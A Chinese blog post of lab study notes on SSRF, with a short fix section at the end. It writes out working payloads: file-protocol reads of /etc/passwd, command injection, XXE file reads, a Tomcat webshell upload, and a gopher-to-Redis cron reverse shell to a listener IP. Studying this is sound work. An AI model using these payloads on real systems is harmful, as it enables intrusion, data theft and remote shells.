网络安全
SSRF 服务端请求伪造漏洞

本篇整理自我的语雀学习笔记(课堂学习与实操记录),已转为纯文字版并按博客格式排版。
产生原因
开发者没有对用户传入的 URL 做严格的限制,导致用户可以传入任意的URL地址
CSRF 与 SSRF 区别
- csrf 是跨站请求伪造。是诱导 客户端(浏览器)执行非本意的操作
- ssrf 是服务端请求伪造,是诱导服务器执行非本意的操作
危害
- 任意文件读取、泄露敏感信息
- 探测内网
- 攻击内网服务
挖掘
代码审计
1 定位 PHP 函数 file_get_contents、fsockopen、curl_exec、这些函数都能向URL 发起请求
2 看函数参数是否可控
<?php
$url = $_GET['url'];
echo file_get_contents($url);
?>
如上代码,存在file_get_contents, 且参数是通过用户 GET 参数 url 传入的,存在 SSRF 漏洞
黑盒
怎么发现漏洞
请求中有 类似的url 参数,可进行尝试
网站的那些功能 可能存在 类似URI 的 参数
分享:通过URL地址分享网页内容
转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译:通过URL地址翻译对应文本的内容。
图片加载与下载:通过URL地址加载或下载图片。
图片、文章收藏功能
有哪些 常见的URL 关键字
share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain
怎么证明漏洞
回显 SSRF
直接把 URL 改为 file:// 协议URL 看是否能够读取文件
windows: file:///C:\windows\win.ini
Linux:file:///etc/passwd
无回显SSRF
HTTP 外带
DNSlog 外带
利用
读取文件
file://
读取 hosts 可以看到内网IP
探测内网
http 协议
让服务器 自己访问自己 http://127.0.0.1 , http://localhost, http://172.72.23.21
让服务器 访问 其他的内网地址 (C 段)
可借助 burp 爆破C段
可以借助 burp 爆破端口
dict 协议
dict 协议 检测时出现报错信息,则证明该ip 对应的端口有服务存在
⚠️ dict协议在某些ssrf漏洞中是不支持的,可以使用 http 协议替代
**dict://172.72.23.23:80 **
可以借助 burp 爆破c段或端口
攻击内网
http 协议
攻击服务器2 - 172.72.23.22 80 端口
先访问 172.72.23.22 首页查看信息
burpsuite 扫描目录
爆破结果剔除 404 Not Found和400 Bad Request报错,剩下的就是存在的目录和文件
404 Not Found|400 Bad Request
发现目标网站存在 /index.php /phpinfo.php /shell.php
分别访问
http://172.72.23.22/phpinfo.php
发现 http://172.72.23.22/shell.php 存在命令执行漏洞
攻击命令执行漏洞 :http://172.72.23.22/shell.php?cmd=id
攻击服务器3 - 172.72.23.23 80 端口
使用 ssrf 漏洞 访问 http://172.72.23.23
发现SQL 注入,编写 SSRF 漏洞 http 协议的playload
http://172.72.23.23/index.php?id=1
如果 ssrf 漏洞http 协议的payload中出现了特殊字符或空格,需要进行两次URL编码
id=1’ order by 99#
可以编码成
http://172.72.23.23/index.php?id=1%27%20order%20by%2099%23
或者是:
id=1'%2border%2bby%2b99%2523
或者是:
%25%36%39%25%36%34%25%33%64%25%33%31%25%32%37%25%32%30%25%36%66%25%37%32%25%36%34%25%36%35%25%37%32%25%32%30%25%36%32%25%37%39%25%32%30%25%33%39%25%33%39%25%32%33
%31%27%2b%6f%72%64%65%72%2b%62%79%2b%39%39%25%32%33
为什么需要二次编码,下图以SQL注入注释符 #为例:
gopher 协议
作用:发送TCP 原始数据
格式:gopher://IP:Port/_TCP原始数据 (Port 端口默认是 70)
gopher://host:port/_<payload>
攻击服务器4 - 172.72.23.24 80 端口
访问 http://172.72.23.24 发现目标可能存在 命令执行漏洞
gopher 攻击过程
1 构造原始的请求报文
POST / HTTP/1.1
Host: 172.72.23.24
Content-Length: 27
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
ip=127.0.0.1;cat /etc/hosts
⚠️: 不能有 Accept-Encoding:gzip (gzip是http是压缩,gopher看不懂)
⚠️: 不能 Connection: keep-alive (HTTP1.1支持的tcp长连接,gopher看不懂)
⚠️: Content-Length 长度必须要正确
2 二次 URL 编码 原始请求报文
3 使用gopher协议拼接payload , 攻击SSRF漏洞
url=gopher://172.72.23.24:80/_<playload>
攻击服务器5 - 172.72.23.25 80 端口
通过ssrf漏洞访问访问 http://172.72.23.25
通过抓包发现存在xml数据,可能存在xxe漏洞,使用 gopher 协议攻击
1 构建原始请求报文
POST /doLogin.php HTTP/1.1
Host: 172.72.23.25
Content-Length: 212
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY a SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<user><username>&a;</username><password>123</password></user>
2 对请求报文进行二次URL编码
3 拼接为 gopher 的payload,攻击SSRF漏洞
gopher://172.72.23.25:80/_ <playload>
攻击服务器6 - 172.72.23.26 8080 端口
通过ssrf漏洞 访问 http://172.72.23.26:8080 ,发现是 tomcat (历史漏洞 tomcat put 任意文件上传) https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615
1 构造原始请求报文
PUT /dcka.jsp/ HTTP/1.1
Host: 172.72.23.26:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 398
<%@ page import="java.io.*" %>
<% %>
2 对原始请求报文二次URL编码
3 使用gopher协议攻击SSRF漏洞
gopher://172.72.23.26:8080/_
4 使用http 的 ssrf payload 访问 172.72.23.26 8080 端口刚刚写入的jsp webshell
url=http://172.72.23.26:8080/dcka.jsp?cmd=cat%2b/etc/passwd
| 字符 | 名称 | URL 编码 |
|---|---|---|
| 空格 | %20或 + |
|
/ |
斜杠 (分隔路径) | %2F |
? |
问号 (查询参数开始) | %3F |
# |
井号 (锚点) | %23 |
& |
和号 (参数分隔符) | %26 |
= |
等于号 (键值对分隔) | %3D |
: |
冒号 (协议或端口) | %3A |
@ |
At 符号 (用户信息) | %40 |
$ |
美元符号 | %24 |
+ |
加号 | %2B |
, |
逗号 | %2C |
| 字符 | URL 编码 | 字符 | URL 编码 |
|---|---|---|---|
< |
%3C |
[ |
%5B |
> |
%3E |
] |
%5D |
" |
%22 |
{ |
%7B |
' |
%27 |
} |
%7D |
\ |
%5C |
^ |
%5E |
% |
%25 |
` | ` |
! |
%21 |
* |
%2A |
攻击服务器7 - 172.72.23.27 6379 端口
探测端口
gopher 发送TCP 原始数据
1 获取redis的原始报文 , 搭建一个 redis 服务,使用 wireshark 捕获攻击流量
docker run -d -p 6379:6379 damonevking/redis5.0
2 查看容器的IP地址,连接 redis
redis-cli -h 192.168.79.129
3 打开wireshark,捕获与 redis 在同一网段的网卡流量
redis 原始数据是什么:命令
192.168.79.129:6379> flushall
OK
192.168.79.129:6379> set a "\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.79.120/7586 0>&1\n\n"
OK
192.168.79.129:6379> config set dir /var/spool/cron
(error) ERR Changing directory: No such file or directory
192.168.79.129:6379> config set dbfilename root
OK
192.168.79.129:6379> save
OK
4 连接redis ,进行模拟攻击操作,捕获攻击的流量
*1
$8
flushall
+OK
*3
$3
set
$1
a
$63
* * * * * /bin/bash -i >& /dev/tcp/192.168.79.120/7586 0>&1
+OK
*4
$6
config
$3
set
$3
dir
$15
/var/spool/cron
-ERR Changing directory: No such file or directory
*4
$6
config
$3
set
$10
dbfilename
$4
root
+OK
*1
$4
save
+OK
5 把原始流量信息,封装成 gopher的形式,攻击真实的目标
复制wireshark中的流量到burpsuite repeater 中,注意 \n
进行两次 URL 编码 再封装为 gopher 协议,攻击 SSRF漏洞
攻击机开启监听,等待一分钟左右,即可收到shell
修复
拦截协议头 file://, dict://, gopher://
拦截特殊站点,拦截IP 地址字符串, 只能使用域名
设置域名 白名单, 如 *.baidu.com
你的赏识是我前进的动力

